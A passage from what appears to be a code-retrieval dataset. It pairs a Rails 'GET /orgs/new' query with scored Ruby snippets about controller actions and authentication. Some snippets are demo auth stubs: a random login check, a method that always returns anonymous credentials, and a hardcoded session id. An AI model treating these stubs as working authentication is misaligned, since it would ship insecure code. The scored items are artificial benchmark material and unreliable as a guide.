"text": "def authorized?\nlogged_in?\nend",
"title": ""
},
{
"docid": "a309a1148654bd27221dfdf117df0803",
"score": "0.6127712",
"text": "def authok?\n @authok\n end",
"title": ""
},
{
"docid": "a309a1148654bd27221dfdf117df0803",
"score": "0.6127712",
"text": "def authok?\n @authok\n end",
"title": ""
},
{
"docid": "a309a1148654bd27221dfdf117df0803",
"score": "0.6127712",
"text": "def authok?\n @authok\n end",
"title": ""
},
{
"docid": "a309a1148654bd27221dfdf117df0803",
"score": "0.6127712",
"text": "def authok?\n @authok\n end",
"title": ""
},
{
"docid": "17aa2f1d137814dcd356c133fe2fd118",
"score": "0.61226004",
"text": "def to_s\n login\n end",
"title": ""
},
{
"docid": "4aef93963c5a53eb9417e64ab5c69f35",
"score": "0.6122159",
"text": "def is_logged_in_user?\n session[:user_authenticated]\n end",
"title": ""
},
{
"docid": "93a1c0bd93450fa38de1aa8d89801b27",
"score": "0.61198944",
"text": "def current_user\n session[:user]\n end",
"title": ""
},
{
"docid": "67d667183ab1945fa895f0fcf0f9eca1",
"score": "0.61186343",
"text": "def authCookie\n \"auth_pubtkt=uid%3D...\"\n end",
"title": ""
},
{
"docid": "416c5198079e857caf8540b36632063b",
"score": "0.6116514",
"text": "def current_user\n \n # Normally we would look in the session to see if there is a user_id \n # to figure out if the user is loggged in.\n # For demo purposes this app randomly picks if the user is logged in\n if rand(100) > 20 \n User.last\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "e01fcaa3b5af5fb4c9bdc0aabd41599c",
"score": "0.6107191",
"text": "def current_user\n `whoami`.strip\nend",
"title": ""
},
{
"docid": "fe2ceb6e578b7cff61d77524ca3b78d4",
"score": "0.6104351",
"text": "def user_method\n current_user\n end",
"title": ""
},
{
"docid": "a8fac2f201d32b652cee18238956b0a6",
"score": "0.61020404",
"text": "def auth\n cfg_get(:auth)\n end",
"title": ""
},
{
"docid": "aaf1af33b9420dbbd2b680096d46420f",
"score": "0.60995114",
"text": "def current_user\n session.user\n end",
"title": ""
},
{
"docid": "39797036c25da398a561d6229aab652a",
"score": "0.6097382",
"text": "def user_verified; end",
"title": ""
},
{
"docid": "77a75c7eac9371834adcddeff643044c",
"score": "0.6095937",
"text": "def username\n \treturn session[:username]\n \tend",
"title": ""
},
{
"docid": "34974733d2d526d28986f27f0507deb4",
"score": "0.6092371",
"text": "def current_user\n if session[:user]\n session[:user][0]\n else\n false\n end\n end",
"title": ""
},
{
"docid": "ec1453332494fe8de395b60dc0ca5907",
"score": "0.60920507",
"text": "def current_user\n current_login_credential\n end",
"title": ""
},
{
"docid": "eea80f7256452449b278754dfc00b809",
"score": "0.6090496",
"text": "def echo_user\n return find_user.to_s\n end",
"title": ""
},
{
"docid": "0c248d1a3d975ebc5b2d2806392b6ce6",
"score": "0.6089244",
"text": "def normalized_userinfo\n normalized_user + (password ? \":#{normalized_password}\" : \"\") if userinfo\n end",
"title": ""
},
{
"docid": "9b6e3cc6eb60840d0b4975871e5a233b",
"score": "0.6085922",
"text": "def authenticate( request )\n\t\tself.log.debug \"No authentication provided, returning anonymous credentials.\"\n\t\treturn 'anonymous'\n\tend",
"title": ""
},
{
"docid": "98b360ac4091fe8fabf0d56ad4c3abf3",
"score": "0.6085019",
"text": "def name\n if facebook_authentication && facebook_authentication.display_name\n return facebook_authentication.display_name\n end\n return username\n end",
"title": ""
},
{
"docid": "3625b98cc9ac600a82af3655d485852c",
"score": "0.6084914",
"text": "def current_user\n session[:usr_id]\n end",
"title": ""
},
{
"docid": "583f1f8e4c954735d7640a266467e6bc",
"score": "0.60849005",
"text": "def current_user\n session[:currentuser].to_i\n end",
"title": ""
},
{
"docid": "790a4cdfb4a1156aa51e0cad216212c1",
"score": "0.60759085",
"text": "def author_name\n user_data.name || login\n end",
"title": ""
},
{
"docid": "4726d93f37134fca68da2488bdc5cb45",
"score": "0.60738504",
"text": "def user_full_name\n user ? user.full_name : \"Anonymous\"\n end",
"title": ""
},
{
"docid": "4edadcd53165a5b11b2d2aa532582923",
"score": "0.6071686",
"text": "def logged_in?\n \t#devuelve un booleano para saber si hay un usuario loggeado o no. \n \t#para eso sirven los dos signos de exclamacion !!\n \t!!usuario_actual\n end",
"title": ""
},
{
"docid": "aa5353fbc1e9e6f2a61d96bff3176e1c",
"score": "0.60710084",
"text": "def logged_in?\n authorized?\n end",
"title": ""
},
{
"docid": "bcc7e6f34cfed547ed9ae7030dc03df9",
"score": "0.60659385",
"text": "def user_on\n session[:user_id] = '3980284084'\n end",
"title": ""
},
{
"docid": "d983145f7473aaf54e0b2707598d3c51",
"score": "0.6064109",
"text": "def user_logged_in?\n session[:user]\n end",
"title": ""
},
{
"docid": "8ebf6dfb820acc557b0ca5f48626171c",
"score": "0.6063004",
"text": "def logged_in?\n session[:user_id]\n end",
"title": ""
},
{
"docid": "b0a2b63bf2ba11f5d261df31fba17e21",
"score": "0.60609347",
"text": "def get_login\r\n if ((self.user_id) && (self.user_id > 0))\r\n return self.user.name\r\n else\r\n return false\r\n end\r\n end",
"title": ""
},
{
"docid": "740bc885c9009b2f62272bb338b6ba30",
"score": "0.60606235",
"text": "def authenticating?\n username || password\n end",
"title": ""
},
{
"docid": "fcb5dfce977adf6570acc296d3a66bd9",
"score": "0.6053599",
"text": "def admin_http_auth_user\n # This needs special magic in mongrel: http://www.ruby-forum.com/topic/83067\n # Hence the second clause which reads X-Forwarded-User header if available.\n # See the rewrite rules in conf/httpd.conf which set X-Forwarded-User\n if request.env[\"REMOTE_USER\"]\n return request.env[\"REMOTE_USER\"]\n elsif request.env[\"HTTP_X_FORWARDED_USER\"]\n return request.env[\"HTTP_X_FORWARDED_USER\"]\n else\n return \"*unknown*\";\n end\n end",
"title": ""
},
{
"docid": "2e93e791cfb9b2ec2a2d53389583801a",
"score": "0.6053041",
"text": "def auth\r\n request.env['omniauth.auth']\r\n end",
"title": ""
},
{
"docid": "227a06c880cf7e2b5d717e8c657f05e7",
"score": "0.6049164",
"text": "def last_login\n passed_time = current_sign_in_at\n if passed_time.present?\n distance = time_span_in_DHMS(passed_time)\n if distance[0] > 1\n return distance[0].to_s + \"d\"\n elsif distance[1] > 1\n return distance[1].to_s + \"h(s)\"\n else\n \"Online\"\n end\n else\n \"\"\n end\n end",
"title": ""
},
{
"docid": "d15b0329d602af7c4cf588034d31aec6",
"score": "0.6048079",
"text": "def has_auth?\n !current_person.nil?\n end",
"title": ""
}
] |
0c4682c637ad7e59d5e31717b9e87008
|
GET /orgs/new GET /orgs/new.json
|
[
{
"docid": "e866fec8898b8e2fff22a7efba5c244e",
"score": "0.0",
"text": "def new\n @org = Org.new\n# @org.donor_id = 1\n# @activity = Activity.find(:all, :conditions => { :name => 'clean' })\n\n@org.user_id = current_user.id\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @org }\n end\n end",
"title": ""
}
] |
[
{
"docid": "cabb4b7b0121f6ede07870071883efa7",
"score": "0.73055184",
"text": "def create\n @org = current_user.orgs.create(params[:org])\n\n if @org.save\n flash[:success] = 'Org was successfully created.'\n redirect_to @org\n else\n render :new\n end\n\n end",
"title": ""
},
{
"docid": "dc2794cd5978f635bca092a224159f07",
"score": "0.7196465",
"text": "def new\n @ng_org = NgOrg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ng_org }\n end\n end",
"title": ""
},
{
"docid": "e5ac26479f193f4bb138d5b09b0897e6",
"score": "0.7173268",
"text": "def new\n @breadcrumb = 'create'\n @organization = Organization.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "c91c0bb52020125c82485d4b9ea39afe",
"score": "0.7081749",
"text": "def new\n @orgrequest = Orgrequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @orgrequest }\n end\n end",
"title": ""
},
{
"docid": "0bdaa8246e6e74cb82646303bd172146",
"score": "0.70781535",
"text": "def new\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organisation }\n end\n end",
"title": ""
},
{
"docid": "0bdaa8246e6e74cb82646303bd172146",
"score": "0.70781535",
"text": "def new\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organisation }\n end\n end",
"title": ""
},
{
"docid": "0bdaa8246e6e74cb82646303bd172146",
"score": "0.70781535",
"text": "def new\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organisation }\n end\n end",
"title": ""
},
{
"docid": "0bdaa8246e6e74cb82646303bd172146",
"score": "0.70781535",
"text": "def new\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organisation }\n end\n end",
"title": ""
},
{
"docid": "2a5c29284041a266f1fdaa404567e0a1",
"score": "0.7055267",
"text": "def new\n @org_list = OrgList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @org_list }\n end\n end",
"title": ""
},
{
"docid": "6b74ec0a00f3cae6e2c1a8362f6bd876",
"score": "0.7051119",
"text": "def create\n @org = Org.new(params[:org])\n\n respond_to do |format|\n if @org.save\n format.html { redirect_to @org, notice: 'Org was successfully created.' }\n format.json { render json: @org, status: :created, location: @org }\n else\n format.html { render action: \"new\" }\n format.json { render json: @org.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25a9f25e6a3bc89d7b4066d2a7dfc402",
"score": "0.700332",
"text": "def new\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @organisation }\n end\n end",
"title": ""
},
{
"docid": "20fbcdd46124ca525ef6d6e2b8cd2b01",
"score": "0.69895774",
"text": "def create\n @org = Org.new(org_params)\n authorize! :create, @org\n\n respond_to do |format|\n if @org.save\n format.html { redirect_to @org, notice: t('.create_ok', item: @org.abbreviation) }\n format.json { render json: @org, status: :created, location: @org }\n else\n format.html { render action: \"new\" }\n format.json { render json: @org.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a823a453a7d2d4a5102d1c4f9c0790d7",
"score": "0.6989348",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "a823a453a7d2d4a5102d1c4f9c0790d7",
"score": "0.6989348",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "a823a453a7d2d4a5102d1c4f9c0790d7",
"score": "0.6989348",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "a823a453a7d2d4a5102d1c4f9c0790d7",
"score": "0.6989348",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "a823a453a7d2d4a5102d1c4f9c0790d7",
"score": "0.6989348",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "a823a453a7d2d4a5102d1c4f9c0790d7",
"score": "0.6989348",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "a823a453a7d2d4a5102d1c4f9c0790d7",
"score": "0.6989348",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "a823a453a7d2d4a5102d1c4f9c0790d7",
"score": "0.6989348",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "3be93c3148c2fd3cc8657c20e5c8676d",
"score": "0.6930696",
"text": "def create_new_org( id, type, parent = nil )\n new_org = Org.new( id, type, parent )\n \n org_user_ids = request.read( \"/users/org/#{ id }\" )\n new_org.users += request.read_all_by_id( \"/users\", org_user_ids )\n new_org.accounts += accounts_hash.delete( id )\n \n new_org\n end",
"title": ""
},
{
"docid": "a686f4b4316de301856587b7824accd6",
"score": "0.69006556",
"text": "def new\n @organisation = Organisation.new\n\t@categories = Category.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organisation }\n end\n end",
"title": ""
},
{
"docid": "bbc8082081f40506f626c5b5200cff16",
"score": "0.6885414",
"text": "def new\n @org_detail = OrgDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @org_detail }\n end\n end",
"title": ""
},
{
"docid": "3ea645eca89da8da58c362c6d2d0c770",
"score": "0.68824214",
"text": "def create\n @org = Org.new(org_params)\n\n if @org.save\n render :show, status: :created, location: @org\n else\n render json: @org.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7328933f169a24ffd77666792e06b209",
"score": "0.6853343",
"text": "def new\n @organisation_type = OrganisationType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organisation_type }\n end\n end",
"title": ""
},
{
"docid": "46b4b4c373db4e60f3f5a3ba8788bb93",
"score": "0.68526536",
"text": "def new\n @title = t 'view.organizations.new_title'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "b8baaec8f0e987b5daffde8d299a676e",
"score": "0.6842105",
"text": "def create\n @org = Org.new(org_params)\n\n respond_to do |format|\n if @org.save\n format.html { redirect_to @org, notice: 'Org was successfully created.' }\n format.json { render :show, status: :created, location: @org }\n else\n format.html { render :new }\n format.json { render json: @org.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5eb3d502cbaf8cdf2689190837f2c66",
"score": "0.67776334",
"text": "def new\n @org = Org.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @org }\n end\n end",
"title": ""
},
{
"docid": "0f6c10bc2fdfd4c9d4a70a9c29e513a6",
"score": "0.67685825",
"text": "def new\n @admin_organization = Admin::Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_organization }\n end\n end",
"title": ""
},
{
"docid": "f0288fcb8fdfbba934657d3bb60ec02f",
"score": "0.6734374",
"text": "def new\n @organization = Organization.new\n session[:breadcrumbs].add \"New\"\n \n respond_to do |format|\n format.html { render :template => \"admin/service_learning/organizations/new\" }\n format.xml { render :xml => @organization }\n end\n end",
"title": ""
},
{
"docid": "37df191ab5b47944f4410ae0f636abdd",
"score": "0.66892654",
"text": "def new\n @orgtree = Orgtree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @orgtree }\n end\n end",
"title": ""
},
{
"docid": "664c15b30ce871025b499edd72ac5108",
"score": "0.66560286",
"text": "def new\n @relation = RelationsOrganisation.new\n @organisations = Organisation.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @relation }\n end\n end",
"title": ""
},
{
"docid": "1fa795db96c5e8273f9db1c1e97a2bcc",
"score": "0.6649024",
"text": "def create\n @org = Org.new(params[:org])\n\n respond_to do |format|\n if @org.save\n format.html { redirect_to(@org, :notice => 'Org was successfully created.') }\n format.xml { render :xml => @org, :status => :created, :location => @org }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @org.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c7c8d115c24c0183f4a02a7838716dd4",
"score": "0.66439295",
"text": "def new\n @organization = Organization.new\n @organization.users.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"title": ""
},
{
"docid": "7a3108cb1618cfa6cdcd104132ac24f7",
"score": "0.66297364",
"text": "def create\n raise ::Exceptions::AlreadyBindOrgError if current_user.bind_org?\n @org = Org.new(org_params)\n @org.user_id = current_user.id\n\n respond_to do |format|\n if @org.save\n format.html { redirect_to settings_path, flash: { success: 'Org was successfully bound.'} }\n format.json { render :show, status: :created, location: @org }\n else\n format.html { render :new }\n format.json { render json: @org.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c6c204f186b5f33ef141b74251523ab",
"score": "0.6624067",
"text": "def new\n @user = User.new(:organization_id => params[:organization_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "3651b748ffb973bc39efb270a8427efa",
"score": "0.65973496",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.json { render json: @org }\n end\n end",
"title": ""
},
{
"docid": "f343539bb78089743d074cbb28036d9b",
"score": "0.6556385",
"text": "def new\n @organisation = Organisation.new\n respond_with(@organisation)\n end",
"title": ""
},
{
"docid": "b565b35958027f61442f21ef7beb6e8d",
"score": "0.6552854",
"text": "def new\n @head_organization = HeadOrganization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @head_organization }\n end\n end",
"title": ""
},
{
"docid": "ff817b7655c0cc09d3c9c29778a0fade",
"score": "0.6546779",
"text": "def new\n\t\t@organisation = Organisation.new\n\tend",
"title": ""
},
{
"docid": "8ad5ef00be4b9e1a7268734e23a1bcd2",
"score": "0.6493573",
"text": "def create_org\n Org.create!(\n name: @params[:org],\n handle: @params[:org_handle],\n address: @params[:address],\n duns: @params[:duns],\n phone: @params[:phone],\n singular: @params[:singular],\n state: \"complete\",\n )\n end",
"title": ""
},
{
"docid": "ed73302974aab4b1a9016fef4f1bb91d",
"score": "0.64866817",
"text": "def new\n @cheil_org = CheilOrg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cheil_org }\n end\n end",
"title": ""
},
{
"docid": "c508238f2a81ea1f6556a970cb9051b7",
"score": "0.64762497",
"text": "def create\n @title = t 'view.organizations.new_title'\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: t('view.organizations.correctly_created') }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: 'new' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "63b94c62b3cacd1aae98226e4333bf62",
"score": "0.6475578",
"text": "def new\n @repo = Repo.new\n\n respond_to do |format|\n format.json { render json: @repo }\n end\n end",
"title": ""
},
{
"docid": "f02d5ec952d5b9ef92ddc10276864063",
"score": "0.6472516",
"text": "def new\n @organization = User::Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end",
"title": ""
},
{
"docid": "0c50992c52fd13b6ed7da5c59d9327b4",
"score": "0.64556974",
"text": "def new\n @organization = Organization.new\n end",
"title": ""
},
{
"docid": "0c50992c52fd13b6ed7da5c59d9327b4",
"score": "0.64556974",
"text": "def new\n @organization = Organization.new\n end",
"title": ""
},
{
"docid": "0c50992c52fd13b6ed7da5c59d9327b4",
"score": "0.64556974",
"text": "def new\n @organization = Organization.new\n end",
"title": ""
},
{
"docid": "0c50992c52fd13b6ed7da5c59d9327b4",
"score": "0.64556974",
"text": "def new\n @organization = Organization.new\n end",
"title": ""
},
{
"docid": "0c50992c52fd13b6ed7da5c59d9327b4",
"score": "0.64556974",
"text": "def new\n @organization = Organization.new\n end",
"title": ""
},
{
"docid": "0c50992c52fd13b6ed7da5c59d9327b4",
"score": "0.64556974",
"text": "def new\n @organization = Organization.new\n end",
"title": ""
},
{
"docid": "f3888727293c5c38c4da5aa6b8c079cc",
"score": "0.643058",
"text": "def create\n @organisation = Organisation.new(params[:organisation])\n\n respond_to do |format|\n if @organisation.save\n format.html { redirect_to organisations_path, :notice => 'Organisation was successfully created.' }\n format.json { render :json => @organisation, :status => :created, :location => @organisation }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @organisation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ce4d79cd628d5bae7882b4568635523e",
"score": "0.63870007",
"text": "def new\n @organization_extra = OrganizationExtra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @organization_extra }\n end\n end",
"title": ""
},
{
"docid": "6c27531e901d937b259922af7fbe45f7",
"score": "0.63850856",
"text": "def new\n @orgainzation = Orgainzation.new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: { organisation: @orgainzation, user: @user } }\n end\n end",
"title": ""
},
{
"docid": "c5429c601b8266039fdbb7b80848432c",
"score": "0.63817126",
"text": "def new_org\n # We need this controller so that we can automatically generate fields in\n # the signup page. It's not really that automatic, so I'm not sure why it's\n # worth doing.\n @user = User.new\n end",
"title": ""
},
{
"docid": "7ebea5a8bbdf62b51f4b3225a4806fb9",
"score": "0.63766676",
"text": "def new\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organisation }\n end\n end",
"title": ""
},
{
"docid": "7ebea5a8bbdf62b51f4b3225a4806fb9",
"score": "0.63766676",
"text": "def new\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organisation }\n end\n end",
"title": ""
},
{
"docid": "7ebea5a8bbdf62b51f4b3225a4806fb9",
"score": "0.63766676",
"text": "def new\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organisation }\n end\n end",
"title": ""
},
{
"docid": "7ebea5a8bbdf62b51f4b3225a4806fb9",
"score": "0.63766676",
"text": "def new\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organisation }\n end\n end",
"title": ""
},
{
"docid": "d5ae3bebfc7747d487625d816b2666b8",
"score": "0.6370993",
"text": "def create\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to organizations_path, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8bcf882fddaf24146a26f61c04cb069f",
"score": "0.6369924",
"text": "def new\n @organization = Organization.new\n end",
"title": ""
},
{
"docid": "b85e78fefedf0938808ef501ee5ba0e3",
"score": "0.6353802",
"text": "def create\n @organisation = Organisation.new(params[:organisation])\n\n respond_to do |format|\n if @organisation.save\n format.html { redirect_to @organisation, notice: 'Organisation was successfully created.' }\n format.json { render json: @organisation, status: :created, location: @organisation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organisation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b85e78fefedf0938808ef501ee5ba0e3",
"score": "0.6353802",
"text": "def create\n @organisation = Organisation.new(params[:organisation])\n\n respond_to do |format|\n if @organisation.save\n format.html { redirect_to @organisation, notice: 'Organisation was successfully created.' }\n format.json { render json: @organisation, status: :created, location: @organisation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organisation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b85e78fefedf0938808ef501ee5ba0e3",
"score": "0.6353802",
"text": "def create\n @organisation = Organisation.new(params[:organisation])\n\n respond_to do |format|\n if @organisation.save\n format.html { redirect_to @organisation, notice: 'Organisation was successfully created.' }\n format.json { render json: @organisation, status: :created, location: @organisation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organisation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b16d16f45e96deabca1c617889010a51",
"score": "0.6342715",
"text": "def new\n respond_with(organization)\n end",
"title": ""
},
{
"docid": "52b67efc2a6c62e456d3da29eaffef2c",
"score": "0.63417333",
"text": "def new\n return redirect_to root_url, notice: \"Vous n'avez pas accès à cette ressource.\" if @user.role != User::ROLE_ADMIN\n @organisation = Organisation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organisation }\n end\n end",
"title": ""
},
{
"docid": "97ea041e24dc315b2f7a24305004ba72",
"score": "0.6337915",
"text": "def new_org\n @org = params[:org]\n @name = params[:name]\n @phone = params[:phone]\n @position = params[:position]\n @web = @org.website\n @address = @org.addresses.first.printable_address\n @ein = @org.ein\n @desc = @org.description\n @registered_vcd = @org.registered\n @url = \"https://bulletin.colab.duke.edu/\" #TODO: UPDATE WITH REAL URL\n mail(subject: \"New Organization Request: #{@org.name}\")\n end",
"title": ""
},
{
"docid": "4ebddd610fd74146d71c79b0c1366e31",
"score": "0.6330986",
"text": "def create\n attributes = organisation_params\n attributes[:root_url] = root_url\n attributes[:user_id] = current_user.id\n @organisation = Organisation.new(attributes)\n\n respond_to do |format|\n if @organisation.save\n format.html { redirect_to @organisation, notice: 'Organisation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @organisation }\n else\n format.html { render action: 'new' }\n format.json { render json: @organisation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0523ced2a68df67bda3162f38fdebe88",
"score": "0.63299054",
"text": "def create\n @org_detail = OrgDetail.new(params[:org_detail])\n\n respond_to do |format|\n if @org_detail.save\n format.html { redirect_to @org_detail, notice: 'Org detail was successfully created.' }\n format.json { render json: @org_detail, status: :created, location: @org_detail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @org_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ece410bb4bd06464a65adf789b1bb4b2",
"score": "0.63207954",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end",
"title": ""
},
{
"docid": "ece410bb4bd06464a65adf789b1bb4b2",
"score": "0.63207954",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end",
"title": ""
},
{
"docid": "ece410bb4bd06464a65adf789b1bb4b2",
"score": "0.63207954",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end",
"title": ""
},
{
"docid": "ece410bb4bd06464a65adf789b1bb4b2",
"score": "0.63207954",
"text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end",
"title": ""
},
{
"docid": "e5e8c5a792927665f1022e5cb2b67c93",
"score": "0.63156265",
"text": "def new\n @organization = Organization.new\n session[:breadcrumbs].add \"New\"\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end",
"title": ""
},
{
"docid": "7db0e55bf019c0219b2b32b8769be08e",
"score": "0.6307818",
"text": "def create(org_name)\n validation_errors = []\n \n validation_errors.push('invalid_org_name') unless Util::CommonValidator.is_string?(org_name)\n \n return validation_error(\n 'l_t_pd_o_1',\n 'something_went_wrong',\n validation_errors,\n GlobalConstant::ErrorAction.default\n ) if validation_errors.present?\n \n url_path = create_request_path(@organizations_endpoint)\n custom_params = {\n name: org_name\n }\n \n r = send_request_of_type('post', url_path, custom_params)\n return r unless r.success?\n \n success_with_data(\n {\n org_id: r[:data]['id']\n })\n end",
"title": ""
},
{
"docid": "52a83f800f6b06e510fdc86907d0522a",
"score": "0.626423",
"text": "def index\n @organizations = Organization.with_translations(I18n.locale)\n @neworg = Organization.new\n end",
"title": ""
},
{
"docid": "689df6d1e704264e141dd647cd39b25a",
"score": "0.6254475",
"text": "def create\n @organization = Organization.new(orgadmin_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b159d601f1492130f15b71e52d48a7b2",
"score": "0.6239229",
"text": "def create\n @organisation = Organisation.new(params[:organisation])\n\n respond_to do |format|\n if @organisation.save\n format.html { redirect_to @organisation, notice: 'Organisation a été crée avec succès.' }\n format.json { render json: @organisation, status: :created, location: @organisation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organisation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "39c9ab900768bf8042b98d54b764fdf0",
"score": "0.62367314",
"text": "def create\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "39c9ab900768bf8042b98d54b764fdf0",
"score": "0.62367314",
"text": "def create\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "39c9ab900768bf8042b98d54b764fdf0",
"score": "0.62367314",
"text": "def create\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "39c9ab900768bf8042b98d54b764fdf0",
"score": "0.62367314",
"text": "def create\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "309387a682aa672ab6627ad4ce3194a6",
"score": "0.62351024",
